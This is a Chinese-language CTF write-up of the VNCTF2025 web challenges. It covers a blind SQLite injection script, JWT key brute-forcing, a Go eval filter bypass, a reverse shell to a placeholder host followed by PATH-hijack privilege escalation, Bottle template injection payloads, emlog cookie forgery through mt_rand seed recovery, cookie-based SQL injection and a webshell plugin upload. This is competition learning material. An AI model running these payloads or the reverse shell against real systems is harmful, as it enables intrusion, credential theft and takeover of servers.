VNCTF2025-WEB

该文章更新于 2025.02.14

寒假复健

VNCTF2025-WEB

javaGuide

java反序列化第一步(题目环境不出网)

不会java

奶龙回家

小朋友们你们好呀,我是奶龙,请帮我找到username和password,获得胖猫留下的flag吧 //容易炸链接,可以多试几次

这题需要通过时间盲注拿到账号密码。

先fuzz一下,发现过滤了下面五个东西,并且是个单引号闭合。

1
2
3
4
5
sleep
BENCHMARK
=

union

但是测试的时候发现好像没有if,应该是一个sqlite数据库。我们可以使用case语句作为代替,并且要注意sqlite是没用database()函数的,所以我们平常的测试方法就会报错。但是sqlite提供了一个数据表sqlite_master,里面保存了数据库表的关键信息。

可以参考这篇文章文章 - sqlite注入的一点总结 - 先知社区

1
1'/**/or/**/(case/**/when(substr(sqlite_version(),1,1)>'2')/**/then/**/randomblob(1000000000)/**/else/**/0/**/end)--

发现成功触发延时。那就可以开始写sql脚本了。

image-20250209125839430

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests, string, time

url = 'http://node.vnteam.cn:43215/login'

result = ''
for i in range(1,100):
print(f'[+]bruting at {i}')
for c in string.ascii_letters + string.digits + '_().-{},?':
time.sleep(0.1) # 限制速率,防止请求过快
tmp = c+'*'
#print('[+]trying:', tmp)
#payload='sqlite_version()'#3.34
#payload="(select/**/group_concat(name)/**/from/**/sqlite_master)"#users
#由于waf里面有空格,所以这个方法匹配不到空格,但我懒得调了,自己改一下range范围拼出完整的列名就行,或者直接猜有username和password列,这样就不用爆破表结构了。(但我后来测试发现拿不到表结构了
payload="(select/**/group_concat(sql)/**/from/**/sqlite_master/**/where/**/name/**/like/**/'users')"
payload="(select/**/group_concat(username)/**/from/**/users)"#nailong
payload="(select/**/group_concat(password)/**/from/**/users)"#woaipangmao114514


char = f'substr({payload},{i},1)'

b = f'{char}/**/GLOB/**/\'{tmp}\''

p = f'(case/**/when({b})/**/then/**/randomblob(1000000000)/**/else/**/0/**/end)'
sql = f"1'/**/or/**/{p}--"
#print(sql)
datas = {
"username": "film",
"password": sql
}

start_time = time.time() # 注入前的系统时间
res = requests.post(url,json=datas)
#print(time.time() - start_time)
end_time = time.time() # 注入后的时间
if end_time - start_time > 0.5:
print('[*]bingo:', f"第{i}个字符:{c}")
result += c
print(result)
break

表结构是

1
2
3
4
5
6
7
8
#脚本跑出来的结果是:(需要多跑几次,因为没用二分所以环境会崩掉,多开几个环境测就可以了,里面可能有一点网络问题,
CREATE?TABLE?users?(????????m????????id?INTEGER?PRIMARY?KEY-AUTOINCREMENT,?????????????????username?TEXT?NOT?NULL,??????????,????b?password?TEXT?NOT?NULL???......
#整理完就是下面这样的:
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL,
password TEXT NOT NULL
);

拿到账号密码nailong/woaipangmao114514

登录后看到flag

image-20250209143243751

Gin

go是世界上最好的语言

这题没看,赛后写了一下

一开始的思路是利用jwt成为admin用户,在utils/jwt.go里面找到jwtkey的生成逻辑。是三位随机数加上config.key()的返回值。

1
2
3
4
5
6
func GenerateKey() string {
rand.Seed(config.Year())
randomNumber := rand.Intn(1000)
key := fmt.Sprintf("%03d%s", randomNumber, config.Key())
return key
}

CTF打多了就知道一般在下载文件这种地方都有目录穿越,直接利用这个拿到key.go的内容

image-20250210203003265

现在种子和key都有了,那可以写个go程序来生成完整的jwtkey了。我直接用hashcat爆破了,反正才三位

1
hashcat hash.txt -a 3 ?d?d?dr00t32l

image-20250210203845146

jwtkey是122r00t32l,现在就可以伪造成admin了。然后看看admin能干什么

发现eval路由能执行go代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
func Eval(c *gin.Context) {
code := c.PostForm("code")
log.Println(code)
if code == "" {
response.Response(c, http.StatusBadRequest, 400, nil, "No code provided")
return
}
log.Println(containsBannedPackages(code))
if containsBannedPackages(code) {
response.Response(c, http.StatusBadRequest, 400, nil, "Code contains banned packages")
return
}
tmpFile, err := ioutil.TempFile("", "goeval-*.go")
if err != nil {
log.Println("Error creating temp file:", err)
response.Response(c, http.StatusInternalServerError, 500, nil, "Error creating temporary file")
return
}
defer os.Remove(tmpFile.Name())

_, err = tmpFile.WriteString(code)
if err != nil {
log.Println("Error writing code to temp file:", err)
response.Response(c, http.StatusInternalServerError, 500, nil, "Error writing code to temp file")
return
}

cmd := exec.Command("go", "run", tmpFile.Name())
output, err := cmd.CombinedOutput()
if err != nil {
log.Println("Error running Go code:", err)
response.Response(c, http.StatusInternalServerError, 500, gin.H{"error": string(output)}, "Error executing code")
return
}

response.Success(c, gin.H{"result": string(output)}, "success")
}

并且进行了一点检测

1
2
3
4
5
6
7
8
9
10
11
12
func containsBannedPackages(code string) bool {
importRegex := `(?i)import\s*\((?s:.*?)\)`
re := regexp.MustCompile(importRegex)
matches := re.FindStringSubmatch(code)
imports := matches[0]
log.Println(imports)
if strings.Contains(imports, "os/exec") {
return true
}

return false
}

注意到这个语句imports := matches[0],也就是说只会检测第一个匹配到的内容,那我们import两次就可以绕过了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package main

import (
"fmt"
"log"
)
import (
"os/exec"
)

func main() {
cmd := exec.Command("cat", "/flag")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}

读到一个假的flag

image-20250210210003052

将命令换成反弹shell:cmd := exec.Command("bash", "-c", "bash -i >& /dev/tcp/x.x.x.x/2333 0>&1")。成功了

image-20250210210223690

发现有个奇怪的suid

image-20250210210317950

直接执行的话只会返回一个VNCTF2025!!!,和我们刚刚读取/flag的回显是一样的。

所以我们猜测它是执行了一个cat /flag的操作。接下来就可以劫持cat命令来提权了。

1
2
3
4
5
6
cd /tmp 
echo "/bin/bash" > cat
chmod 777 cat
export PATH=/tmp:$PATH
ehco $PATH
/.../Cat

可以看到这样执行完Cat之后就是root了,但是由于我们劫持了cat命令,所以要换一个命令读取flag。

image-20250210211344562

学生姓名登记系统

Infernity师傅用某个单文件框架给他的老师写了一个“学生姓名登记系统”,并且对用户的输入做了严格的限制,他自认为他的系统无懈可击,但是真的无懈可击吗?

测试后发现是bottle框架,题目有限制每行长度不超过23

1
2
3
4
5
6
"""
%a=__builtins__
%b='op''en'
%c='/flag'
"""
{{a[b](c).read()}}

或者利用{{a:=()}}这样的海象表达式保存上下文

先爆破num找到可以利用的类

1
2
3
4
5
{{a:=()}}
{{b:=a.__class__}}
{{c:=b.__mro__[-1]}}
{{d:=c.__subclasses__}}
{{e:=d()[num]}}

发现154是os._wrap_close,156是_sitebuiltins._Printer

并且测试的时候发现直接把环境变量打出来看到flag了

1
2
3
4
5
6
7
{{a:=()}}
{{b:=a.__class__}}
{{c:=b.__mro__[-1]}}
{{d:=c.__subclasses__}}
{{e:=d()[154]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}

image-20250210201545231

也可以继续往下利用

1
2
3
4
5
6
7
8
9
10
11
12
{{r:='__builtins__'}}
{{a:=()}}
{{b:=a.__class__}}
{{c:=b.__mro__[-1]}}
{{d:=c.__subclasses__}}
{{e:=d()[154]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}
{{h:=g[r]}}
{{i:=h['op''en']}}
{{j:=i('/flag')}}
{{k:=j.read()}}

滑到最下面就可以看到flag了。

ez_emlog

猴子大王在1月23日开始学习Web安全并搭建了一个博客,你能找到他博客的漏洞吗。

发现这个emlog有一个伪造cookie进入后台的漏洞。但是需要知道AUTH_KEY

install.php里有相关的生成逻辑

image-20250208193025808

可以看到getRandStr的源码如下,里面使用了mt_rand。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function getRandStr($length = 12, $special_chars = true, $numeric_only = false)
{
if ($numeric_only) {
$chars = '0123456789';
} else {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special_chars) {
$chars .= '!@#$%^&*()';
}
}
$randStr = '';
$chars_length = strlen($chars);
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, $chars_length - 1), 1);
}
return $randStr;
}

全局搜索AUTH_COOKIE_NAME可以发现

image-20250208202547985

所以可以通过这个拿到AUTH_COOKIE_NAME:RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr,并且这个的生成算法是没有特殊字符的

image-20250208202516661

但是这个AUTH_COOKIE_NAME是第二次通过getRandStr生成的,我们常用的php_mt_seed只适用于给出了第一次部分生成结果的情况。所以现在还是伪造不了cookie

1
2
3
4
5
6
7
8
9
10
11
12
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
#str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()'
str2='RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)

然后在结果前面补上32组0 0 0 0。这是因为前面还有32次mt_rand(可能吧,具体原理我也不懂

1
./php_mt_seed 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 43 43 0 61 1 1 0 61 26 26 0 61 48 48 0 61 21 21 0 61 39 39 0 61 35 35 0 61 51 51 0 61 57 57 0 61 50 50 0 61 38 38 0 61 4 4 0 61 51 51 0 61 37 37 0 61 32 32 0 61 38 38 0 61 17 17 0 61 57 57 0 61 58 58 0 61 11 11 0 61 5 5 0 61 9 9 0 61 47 47 0 61 0 0 0 61 11 11 0 61 40 40 0 61 55 55 0 61 24 24 0 61 16 16 0 61 50 50 0 61 11 11 0 61 17 17 0 61 

image-20250208205126752

拿到种子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$seed = 2430606281;
mt_srand($seed);
function getRandStr($length = 12, $special_chars = true, $numeric_only = false)
{
if ($numeric_only) {
$chars = '0123456789';
} else {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special_chars) {
$chars .= '!@#$%^&*()';
}
}
$randStr = '';
$chars_length = strlen($chars);
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, $chars_length - 1), 1);
}
return $randStr;
}

$a=getRandStr(32);
$b=getRandStr(32, false);
echo $a;
echo "\n";
echo $b;
?>

可以看到的确是正确的。

image-20250208205147350

然后就是UA了

image-20250208205445496

根据emlog里面的文章拿到UA头

image-20250208210026507

使用这个代码计算cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import hmac
import hashlib

# 定义认证密钥,用于HMAC算法,确保认证信息的安全性
auth_key = "yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA558fb80a37ff0f45d5abbc907683fc02"

# 定义认证cookie的名称,用于在客户端存储认证信息
auth_cookie_name = "RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr"

# 定义认证信息的过期时间,这里设置为0,表示永不过期
expiration = 0

# 定义当前操作的用户账号
user = "admin"

# 根据用户信息和过期时间生成用于认证的key
# 使用HMAC-MD5算法对用户信息和过期时间进行加密,生成初步的认证key
key = hmac.new(auth_key.encode(), "{}|{}".format(user, expiration).encode(), digestmod=hashlib.md5).hexdigest().encode()

# 使用上一步生成的key,再次对用户信息和过期时间进行加密
# 这里同样使用HMAC-MD5算法,生成最终的认证hash
auth_hash = hmac.new(key, "{}|{}".format(user, expiration).encode(), digestmod=hashlib.md5).hexdigest()

# 组装认证cookie的值,包括cookie名称、用户信息、过期时间和认证hash
# 这里的格式化字符串用于构建认证cookie的特定格式,方便后续的解析和验证
auth_cookie = "{}={}|{}|{}".format(auth_cookie_name, user, expiration, auth_hash)

print(auth_cookie)

得到COOKIE

1
EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=admin|0|1e3a40304234b9c26471af9e528ff56a

但是这时候会发现还是登录不了。因为用户名不是admin。

继续审计,发现存在sql注入。这里的account是cookie的值用|分隔得到的第一部分,也就是用户名

image-20250209001552429

一路向上查找用法,最终发现在入口在admin\globals.php

1
loginAuth::checkLogin()->checkLogin()->isLogin()->validateAuthCookie()->getUserDataByLogin()

也就是说所以地方都可以打sql注入,但是要注意这个sql注入,每换一次注入语句都要重新生成一次cookie,以保证后面的哈希和cookie一致,否则是注入不了的。

1’ and extractvalue(1,concat(0x7e,(select database()),0x7e))#|0|f09705f2ebc55b4c48c050290fe917ab

1’ and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’emlog’ limit 1,1),0x7e))#|0|6ecad2a7e10059ec9eb46babea4b77f9

1’ and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’emlog_user’ limit 1,1),0x7e))#|0|3f928611cb828e42abb7964a4253ce9b

//爆帐号

1’ and extractvalue(1,concat(0x7e,(select username from emlog.emlog_user),0x7e))#|0|c89f6995f556858129fa9038fd9eebd6;

1’ and extractvalue(1,concat(0x7e,mid((select username from emlog.emlog_user),16,46),0x7e))#|0|4a52dd34145abc539aed4bb2a0c8664b

这里可以直接在网上搜索emlog的数据库的结构。直接注账号密码就行。通过cookie处的sql注入,成功拿到用户名

image-20250209024530738

这个图片里面的不全。利用mid函数拿到剩下的部分。将user改为1QXgVCpRbGseY_UA6DPDV1K8XOCZHUxm

拿到最后的COOKIE

1
EM_AUTHCOOKIE_RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr=1QXgVCpRbGseY_UA6DPDV1K8XOCZHUxm|0|24bfcd1c52901da1990bace5424893c1

利用cookie登录。(利用账号密码登录应该也行,但是我没有去试,这里数据库的密码是哈希值,不知道怎么破解

使用数据备份的方式getshell失败。

使用这个项目成功getshellGitHub - ThrivePine/Emlog-Pro-getshell

把项目下载之后,再把里面的shell.php换成木马,然后压缩成压缩包。最后的结果是这样的:

image-20250209000612800

最后在后台的插件管理上传压缩包就行了。

image-20250209000732959

image-20250209000454955